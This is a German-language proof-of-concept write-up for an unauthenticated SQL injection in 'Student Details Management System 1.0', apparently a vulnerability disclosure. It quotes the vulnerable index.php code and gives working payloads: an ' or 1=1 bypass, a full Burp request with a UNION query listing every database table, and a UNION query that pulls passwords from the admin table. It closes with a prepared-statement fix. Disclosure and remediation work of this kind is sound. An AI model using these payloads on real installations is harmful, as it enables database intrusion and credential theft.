xmyronn/cve-2026-10110-sqliProof-of-Concept für eine nicht authentifizierte SQL-Injection im Student Details Management System 1.0, das UNION-basierte Datenextraktion und den Diebstahl von Anmeldedaten demonstriert.
| Feld | Details |
|---|
| Produkt | Student Details Management System |
| Anbieter | code-projects.org |
| Version | 1.0 |
| Schwachstellentyp | SQL-Injection (CWE-89) |
| CVE-ID | Ausstehend |
| CVSS-Score | 9.8 Kritisch (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Authentifizierung erforderlich | Nein |
| Betroffene Datei | /SMS/index.php |
| Verwundbarer Parameter | roll (POST) |
Eine kritische SQL-Injection-Schwachstelle existiert in der Datei index.php des Student Details Management System 1.0. Der über eine POST-Anfrage übergebene Parameter roll wird ohne Bereinigung, Eingabevalidierung oder Verwendung von Prepared Statements direkt in eine rohe SQL-Abfrage eingefügt. Dies ermöglicht es einem nicht authentifizierten Remote-Angreifer, beliebiges SQL einzuschleusen und UNION-basierte Datenextraktion durchzuführen, wodurch der gesamte Datenbankserver einschließlich der Anmeldedaten-Tabellen ausgelesen werden kann.
Die Schwachstelle besteht im öffentlich zugänglichen Studentensuchformular und erfordert keinerlei Authentifizierung.
Datei: index.php (Zeilen 51–59)
include('dbcon.php');
if (isset($_POST['show'])) {
$Standard = $_POST['standard'];
$RollNo = $_POST['roll'];
$sql = "SELECT * FROM `student` WHERE `standard` = '$Standard' OR `rollno`='$RollNo'";
$result = mysqli_query($conn,$sql);
Sowohl $Standard als auch $RollNo werden direkt aus $_POST übernommen, ohne Escape oder Parametrisierung. Der Angreifer kontrolliert den Parameter roll, um aus dem SQL-String-Kontext auszubrechen und beliebige Abfragen einzuschleusen.
Navigieren Sie zur Startseite der Anwendung und geben Sie eine gültige Rollennummer ein:
http://<TARGET>/SMS/index.php
Geben Sie 1001 in das Feld für die Rollennummer ein → die Anwendung gibt die Studentendatensätze normal zurück.
Geben Sie ein einzelnes Anführungszeichen ' in das Feld für die Rollennummer ein und klicken Sie auf SHOW INFO.
Ergebnis: MariaDB wirft einen schwerwiegenden Fehler, der die rohe SQL-Abfrage und den Dateipfad offenlegt:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near '"' at line 1 in
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php:59
Payload:
' or 1=1 -- -
Ergebnis: Alle Studentendatensätze in der Datenbank werden ohne gültige Rollennummer zurückgegeben, was bestätigt, dass die Injektion ausnutzbar ist.
Burp-Suite-Anfrage:
POST /STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/SMS/index.php HTTP/1.1
Host: 192.168.0.9
Content-Type: application/x-www-form-urlencoded
roll=1001' union select null,null,table_name,null,null,null,null from information_schema.tables -- -&standard=SELECT+STANDARD&show=SHOW+INFO
Ergebnis: Die Spalte name (Position 3 im UNION) spiegelt jeden Tabellennamen aus allen Datenbanken auf der MySQL-Instanz zurück – einschließlich admin, global_priv, users, mysql.user sowie Anmeldedaten-Tabellen aus mehreren anderen Anwendungen, die auf derselben XAMPP-Instanz installiert sind.
Der Dump offenbart sensible Tabellen, darunter admin, users, global_priv und tbl_admin aus anderen Datenbanken auf demselben Server. Ein Angreifer kann Anmeldedaten extrahieren mit:
roll=1' union select null,null,password,null,null,null,null from admin-- -
In Kombination mit der ausführlichen Fehlerausgabe (Schritt 2) wird auch die vollständige Offenlegung des Dateipfads bestätigt:
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php
admin-TabelleVerwenden Sie Prepared Statements mit gebundenen Parametern:
$stmt = $conn->prepare("SELECT * FROM `student` WHERE `standard` = ? OR `rollno` = ?");
$stmt->bind_param("ss", $Standard, $RollNo);
$stmt->execute();
$result = $stmt->get_result();
Deaktivieren Sie zusätzlich die ausführliche PHP-/MySQL-Fehlerausgabe in der Produktion, indem Sie display_errors = Off in der php.ini setzen.
Forscher: Imad Alvi